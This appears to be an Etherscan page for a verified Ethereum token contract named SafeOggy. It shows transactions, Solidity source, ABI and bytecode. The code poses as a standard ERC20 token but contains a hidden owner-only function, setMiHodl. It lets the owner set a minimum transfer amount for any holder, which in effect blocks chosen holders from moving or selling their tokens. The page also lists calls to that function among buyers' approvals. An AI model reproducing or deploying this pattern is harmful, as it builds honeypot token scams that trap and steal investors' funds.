ETH Price: $2,511.70 (-0.52%)

Contract

0x96Cd40C57499d71B4EB7Bc34F2D3E4B42a0695D1
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve188427592023-12-22 17:06:23255 days ago1703264783IN
0x96Cd40C5...42a0695D1
0 ETH0.0027976560.15943384
Approve188427462023-12-22 17:03:47255 days ago1703264627IN
0x96Cd40C5...42a0695D1
0 ETH0.0026420656.813736
Approve188411962023-12-22 11:50:35255 days ago1703245835IN
0x96Cd40C5...42a0695D1
0 ETH0.001548833.47756527
Approve188382632023-12-22 1:57:47256 days ago1703210267IN
0x96Cd40C5...42a0695D1
0 ETH0.0014785831.83596448
Approve188345322023-12-21 13:26:47256 days ago1703165207IN
0x96Cd40C5...42a0695D1
0 ETH0.0017551437.79065866
Approve188343342023-12-21 12:47:11256 days ago1703162831IN
0x96Cd40C5...42a0695D1
0 ETH0.0020904144.95138908
Approve188343212023-12-21 12:44:23256 days ago1703162663IN
0x96Cd40C5...42a0695D1
0 ETH0.0020283143.61596073
Transfer188336022023-12-21 10:19:47257 days ago1703153987IN
0x96Cd40C5...42a0695D1
0 ETH0.0009357835.30347646
Approve188307642023-12-21 0:46:35257 days ago1703119595IN
0x96Cd40C5...42a0695D1
0 ETH0.0019588242.3510689
Approve188286752023-12-20 17:42:59257 days ago1703094179IN
0x96Cd40C5...42a0695D1
0 ETH0.0029148262.75996447
Set Mi Hodl188285482023-12-20 17:16:59257 days ago1703092619IN
0x96Cd40C5...42a0695D1
0 ETH0.0028519759.2692432
Set Mi Hodl188285482023-12-20 17:16:59257 days ago1703092619IN
0x96Cd40C5...42a0695D1
0 ETH0.0028519759.2692432
Approve188281342023-12-20 15:52:11257 days ago1703087531IN
0x96Cd40C5...42a0695D1
0 ETH0.0029250262.97964833
Approve188280942023-12-20 15:44:11257 days ago1703087051IN
0x96Cd40C5...42a0695D1
0 ETH0.0031522367.87166358
Approve188279082023-12-20 15:06:59257 days ago1703084819IN
0x96Cd40C5...42a0695D1
0 ETH0.0042577491.55653383
Approve188278422023-12-20 14:53:47257 days ago1703084027IN
0x96Cd40C5...42a0695D1
0 ETH0.0038458782.69986087
Approve188278382023-12-20 14:52:59257 days ago1703083979IN
0x96Cd40C5...42a0695D1
0 ETH0.00385982.98214864
Approve188278192023-12-20 14:49:11257 days ago1703083751IN
0x96Cd40C5...42a0695D1
0 ETH0.0036825779.61979859
Approve188278072023-12-20 14:46:47257 days ago1703083607IN
0x96Cd40C5...42a0695D1
0 ETH0.0033958173.02195596
Approve188278012023-12-20 14:45:35257 days ago1703083535IN
0x96Cd40C5...42a0695D1
0 ETH0.0035666876.69620148
Approve188277812023-12-20 14:41:35257 days ago1703083295IN
0x96Cd40C5...42a0695D1
0 ETH0.0033422171.96232937
Approve188277812023-12-20 14:41:35257 days ago1703083295IN
0x96Cd40C5...42a0695D1
0 ETH0.0033558372.16232937
Approve188277752023-12-20 14:40:23257 days ago1703083223IN
0x96Cd40C5...42a0695D1
0 ETH0.0034923375.09752537
Approve188277632023-12-20 14:37:59257 days ago1703083079IN
0x96Cd40C5...42a0695D1
0 ETH0.0034426174.02827568
Approve188277512023-12-20 14:35:35257 days ago1703082935IN
0x96Cd40C5...42a0695D1
0 ETH0.0036478178.44091866
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
SafeOggy

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : SafeOggy.sol
pragma solidity ^0.8.3;

// Interface for ERC20 standard functions and events.
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// Abstract contract that provides a context for who is calling the function.
abstract contract Context {
    // Internal function to return the sender of the transaction.
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

// Contract module that provides basic authorization control.
contract Ownable is Context {
    address private _owner;

    // Event that is emitted when ownership is transferred.
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    // Constructor that sets the original `owner` of the contract to the sender.
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    // Function to return the address of the current owner.
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // Modifier to restrict functions to the owner.
    modifier onlyOwner() {
        require(owner() == _msgSender());
        _;
    }

    // Function to relinquish ownership of the contract.
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    // Function to transfer ownership to a new address.
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

// ERC20 Token implementation.
contract SafeOggy is Context, Ownable, IERC20 {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _mihodl;
    bool private _activeTrade = true;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    // Constructor to initialize the token.
    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** uint256(decimals_));
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    // Standard ERC20 functions.
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_activeTrade, "SafeOggy: Trading is currently disabled");
        require(amount >= _mihodl[_msgSender()], "SafeOggy: Transfer amount is less than the minimum allowed");
        require(_balances[_msgSender()] >= amount, "SafeOggy: transfer amount exceeds balance");
        _balances[_msgSender()] -= amount;
        _balances[recipient] += amount;
        emit Transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_activeTrade, "SafeOggy: Trading is currently disabled");
        require(amount >= _mihodl[sender], "SafeOggy: Not exceed mi hodl");
        require(_balances[sender] >= amount, "SafeOggy: transfer amount exceeds balance");
        require(_allowances[sender][_msgSender()] >= amount, "SafeOggy: transfer amount exceeds allowance");
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        _allowances[sender][_msgSender()] -= amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    // Events and functions for managing minimum transfer amounts and trading status.
    event HodlReq(address indexed account, uint256 newAmount);

    function setMiHodl(address account, uint256 newAmount) public onlyOwner {
        require(account != address(0), "SafeOggy: address zero is not a valid account");
        _mihodl[account] = newAmount;
        emit HodlReq(account, newAmount);
    }

    function getHoldBase(address account) public view returns (uint256) {
        return _mihodl[account];
    }

    function isActiveTrade() public view returns (bool) {
        return _activeTrade;
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"HodlReq","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getHoldBase","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isActiveTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"setMiHodl","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526004805460ff191660011790553480156200001e57600080fd5b5060405162001068380380620010688339810160408190526200004191620001e7565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600562000090858262000301565b5060066200009f848262000301565b506007805460ff191660ff8416908117909155620000bf90600a620004e2565b620000cb9082620004f7565b600881905533600081815260016020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505062000511565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200014a57600080fd5b81516001600160401b038082111562000167576200016762000122565b604051601f8301601f19908116603f0116810190828211818310171562000192576200019262000122565b81604052838152602092508683858801011115620001af57600080fd5b600091505b83821015620001d35785820183015181830184015290820190620001b4565b600093810190920192909252949350505050565b60008060008060808587031215620001fe57600080fd5b84516001600160401b03808211156200021657600080fd5b620002248883890162000138565b955060208701519150808211156200023b57600080fd5b506200024a8782880162000138565b935050604085015160ff811681146200026257600080fd5b6060959095015193969295505050565b600181811c908216806200028757607f821691505b602082108103620002a857634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620002fc57600081815260208120601f850160051c81016020861015620002d75750805b601f850160051c820191505b81811015620002f857828155600101620002e3565b5050505b505050565b81516001600160401b038111156200031d576200031d62000122565b62000335816200032e845462000272565b84620002ae565b602080601f8311600181146200036d5760008415620003545750858301515b600019600386901b1c1916600185901b178555620002f8565b600085815260208120601f198616915b828110156200039e578886015182559484019460019091019084016200037d565b5085821015620003bd5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000424578160001904821115620004085762000408620003cd565b808516156200041657918102915b93841c9390800290620003e8565b509250929050565b6000826200043d57506001620004dc565b816200044c57506000620004dc565b8160018114620004655760028114620004705762000490565b6001915050620004dc565b60ff841115620004845762000484620003cd565b50506001821b620004dc565b5060208310610133831016604e8410600b8410161715620004b5575081810a620004dc565b620004c18383620003e3565b8060001904821115620004d857620004d8620003cd565b0290505b92915050565b6000620004f083836200042c565b9392505050565b8082028115828204841417620004dc57620004dc620003cd565b610b4780620005216000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a04ae0a611610066578063a04ae0a614610207578063a9059cbb14610212578063dd62ed3e14610225578063f2fde38b1461025e57600080fd5b8063715018a6146101b35780637e93245b146101bb5780638da5cb5b146101e457806395d89b41146101ff57600080fd5b806318160ddd116100d357806318160ddd1461015057806323b872dd14610162578063313ce5671461017557806370a082311461018a57600080fd5b80630174acaf146100fa57806306fdde031461010f578063095ea7b31461012d575b600080fd5b61010d610108366004610902565b610271565b005b610117610352565b604051610124919061092c565b60405180910390f35b61014061013b366004610902565b6103e4565b6040519015158152602001610124565b6008545b604051908152602001610124565b61014061017036600461097a565b61044d565b60075460405160ff9091168152602001610124565b6101546101983660046109b6565b6001600160a01b031660009081526001602052604090205490565b61010d610684565b6101546101c93660046109b6565b6001600160a01b031660009081526003602052604090205490565b6000546040516001600160a01b039091168152602001610124565b6101176106eb565b60045460ff16610140565b610140610220366004610902565b6106fa565b6101546102333660046109d8565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61010d61026c3660046109b6565b610861565b6000546001600160a01b0316331461028857600080fd5b6001600160a01b0382166102f95760405162461bcd60e51b815260206004820152602d60248201527f536166654f6767793a2061646472657373207a65726f206973206e6f7420612060448201526c1d985b1a59081858d8dbdd5b9d609a1b60648201526084015b60405180910390fd5b6001600160a01b03821660008181526003602052604090819020839055517f4a0441a6689d428cdcec68b30baabc17c49264979b56da7f07ac3b593c50cbd0906103469084815260200190565b60405180910390a25050565b60606005805461036190610a0b565b80601f016020809104026020016040519081016040528092919081815260200182805461038d90610a0b565b80156103da5780601f106103af576101008083540402835291602001916103da565b820191906000526020600020905b8154815290600101906020018083116103bd57829003601f168201915b5050505050905090565b3360008181526002602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a35060015b92915050565b60045460009060ff166104725760405162461bcd60e51b81526004016102f090610a45565b6001600160a01b0384166000908152600360205260409020548210156104da5760405162461bcd60e51b815260206004820152601c60248201527f536166654f6767793a204e6f7420657863656564206d6920686f646c0000000060448201526064016102f0565b6001600160a01b0384166000908152600160205260409020548211156105125760405162461bcd60e51b81526004016102f090610a8c565b6001600160a01b03841660009081526002602090815260408083203384529091529020548211156105995760405162461bcd60e51b815260206004820152602b60248201527f536166654f6767793a207472616e7366657220616d6f756e742065786365656460448201526a7320616c6c6f77616e636560a81b60648201526084016102f0565b6001600160a01b038416600090815260016020526040812080548492906105c1908490610aeb565b90915550506001600160a01b038316600090815260016020526040812080548492906105ee908490610afe565b90915550506001600160a01b038416600090815260026020908152604080832033845290915281208054849290610626908490610aeb565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161067291815260200190565b60405180910390a35060019392505050565b6000546001600160a01b0316331461069b57600080fd5b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b60606006805461036190610a0b565b60045460009060ff1661071f5760405162461bcd60e51b81526004016102f090610a45565b336000908152600360205260409020548210156107a45760405162461bcd60e51b815260206004820152603a60248201527f536166654f6767793a205472616e7366657220616d6f756e74206973206c657360448201527f73207468616e20746865206d696e696d756d20616c6c6f77656400000000000060648201526084016102f0565b336000908152600160205260409020548211156107d35760405162461bcd60e51b81526004016102f090610a8c565b33600090815260016020526040812080548492906107f2908490610aeb565b90915550506001600160a01b0383166000908152600160205260408120805484929061081f908490610afe565b90915550506040518281526001600160a01b0384169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200161043b565b6000546001600160a01b0316331461087857600080fd5b6001600160a01b03811661088b57600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b03811681146108fd57600080fd5b919050565b6000806040838503121561091557600080fd5b61091e836108e6565b946020939093013593505050565b600060208083528351808285015260005b818110156109595785810183015185820160400152820161093d565b506000604082860101526040601f19601f8301168501019250505092915050565b60008060006060848603121561098f57600080fd5b610998846108e6565b92506109a6602085016108e6565b9150604084013590509250925092565b6000602082840312156109c857600080fd5b6109d1826108e6565b9392505050565b600080604083850312156109eb57600080fd5b6109f4836108e6565b9150610a02602084016108e6565b90509250929050565b600181811c90821680610a1f57607f821691505b602082108103610a3f57634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526027908201527f536166654f6767793a2054726164696e672069732063757272656e746c7920646040820152661a5cd8589b195960ca1b606082015260800190565b60208082526029908201527f536166654f6767793a207472616e7366657220616d6f756e7420657863656564604082015268732062616c616e636560b81b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b8181038181111561044757610447610ad5565b8082018082111561044757610447610ad556fea2646970667358221220a49fa389837bca9b6f337047e923048feeeb896d2c77d71a68a468583f68e8c364736f6c63430008130033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000c6aea1550000000000000000000000000000000000000000000000000000000000000008536166654f6767790000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006534146454f470000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a04ae0a611610066578063a04ae0a614610207578063a9059cbb14610212578063dd62ed3e14610225578063f2fde38b1461025e57600080fd5b8063715018a6146101b35780637e93245b146101bb5780638da5cb5b146101e457806395d89b41146101ff57600080fd5b806318160ddd116100d357806318160ddd1461015057806323b872dd14610162578063313ce5671461017557806370a082311461018a57600080fd5b80630174acaf146100fa57806306fdde031461010f578063095ea7b31461012d575b600080fd5b61010d610108366004610902565b610271565b005b610117610352565b604051610124919061092c565b60405180910390f35b61014061013b366004610902565b6103e4565b6040519015158152602001610124565b6008545b604051908152602001610124565b61014061017036600461097a565b61044d565b60075460405160ff9091168152602001610124565b6101546101983660046109b6565b6001600160a01b031660009081526001602052604090205490565b61010d610684565b6101546101c93660046109b6565b6001600160a01b031660009081526003602052604090205490565b6000546040516001600160a01b039091168152602001610124565b6101176106eb565b60045460ff16610140565b610140610220366004610902565b6106fa565b6101546102333660046109d8565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61010d61026c3660046109b6565b610861565b6000546001600160a01b0316331461028857600080fd5b6001600160a01b0382166102f95760405162461bcd60e51b815260206004820152602d60248201527f536166654f6767793a2061646472657373207a65726f206973206e6f7420612060448201526c1d985b1a59081858d8dbdd5b9d609a1b60648201526084015b60405180910390fd5b6001600160a01b03821660008181526003602052604090819020839055517f4a0441a6689d428cdcec68b30baabc17c49264979b56da7f07ac3b593c50cbd0906103469084815260200190565b60405180910390a25050565b60606005805461036190610a0b565b80601f016020809104026020016040519081016040528092919081815260200182805461038d90610a0b565b80156103da5780601f106103af576101008083540402835291602001916103da565b820191906000526020600020905b8154815290600101906020018083116103bd57829003601f168201915b5050505050905090565b3360008181526002602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a35060015b92915050565b60045460009060ff166104725760405162461bcd60e51b81526004016102f090610a45565b6001600160a01b0384166000908152600360205260409020548210156104da5760405162461bcd60e51b815260206004820152601c60248201527f536166654f6767793a204e6f7420657863656564206d6920686f646c0000000060448201526064016102f0565b6001600160a01b0384166000908152600160205260409020548211156105125760405162461bcd60e51b81526004016102f090610a8c565b6001600160a01b03841660009081526002602090815260408083203384529091529020548211156105995760405162461bcd60e51b815260206004820152602b60248201527f536166654f6767793a207472616e7366657220616d6f756e742065786365656460448201526a7320616c6c6f77616e636560a81b60648201526084016102f0565b6001600160a01b038416600090815260016020526040812080548492906105c1908490610aeb565b90915550506001600160a01b038316600090815260016020526040812080548492906105ee908490610afe565b90915550506001600160a01b038416600090815260026020908152604080832033845290915281208054849290610626908490610aeb565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161067291815260200190565b60405180910390a35060019392505050565b6000546001600160a01b0316331461069b57600080fd5b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b60606006805461036190610a0b565b60045460009060ff1661071f5760405162461bcd60e51b81526004016102f090610a45565b336000908152600360205260409020548210156107a45760405162461bcd60e51b815260206004820152603a60248201527f536166654f6767793a205472616e7366657220616d6f756e74206973206c657360448201527f73207468616e20746865206d696e696d756d20616c6c6f77656400000000000060648201526084016102f0565b336000908152600160205260409020548211156107d35760405162461bcd60e51b81526004016102f090610a8c565b33600090815260016020526040812080548492906107f2908490610aeb565b90915550506001600160a01b0383166000908152600160205260408120805484929061081f908490610afe565b90915550506040518281526001600160a01b0384169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200161043b565b6000546001600160a01b0316331461087857600080fd5b6001600160a01b03811661088b57600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b03811681146108fd57600080fd5b919050565b6000806040838503121561091557600080fd5b61091e836108e6565b946020939093013593505050565b600060208083528351808285015260005b818110156109595785810183015185820160400152820161093d565b506000604082860101526040601f19601f8301168501019250505092915050565b60008060006060848603121561098f57600080fd5b610998846108e6565b92506109a6602085016108e6565b9150604084013590509250925092565b6000602082840312156109c857600080fd5b6109d1826108e6565b9392505050565b600080604083850312156109eb57600080fd5b6109f4836108e6565b9150610a02602084016108e6565b90509250929050565b600181811c90821680610a1f57607f821691505b602082108103610a3f57634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526027908201527f536166654f6767793a2054726164696e672069732063757272656e746c7920646040820152661a5cd8589b195960ca1b606082015260800190565b60208082526029908201527f536166654f6767793a207472616e7366657220616d6f756e7420657863656564604082015268732062616c616e636560b81b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b8181038181111561044757610447610ad5565b8082018082111561044757610447610ad556fea2646970667358221220a49fa389837bca9b6f337047e923048feeeb896d2c77d71a68a468583f68e8c364736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000c6aea1550000000000000000000000000000000000000000000000000000000000000008536166654f6767790000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006534146454f470000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): SafeOggy
Arg [1] : symbol_ (string): SAFEOG
Arg [2] : decimals_ (uint8): 18
Arg [3] : totalSupply_ (uint256): 3333333333

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000012
Arg [3] : 00000000000000000000000000000000000000000000000000000000c6aea155
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [5] : 536166654f676779000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [7] : 534146454f470000000000000000000000000000000000000000000000000000


Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.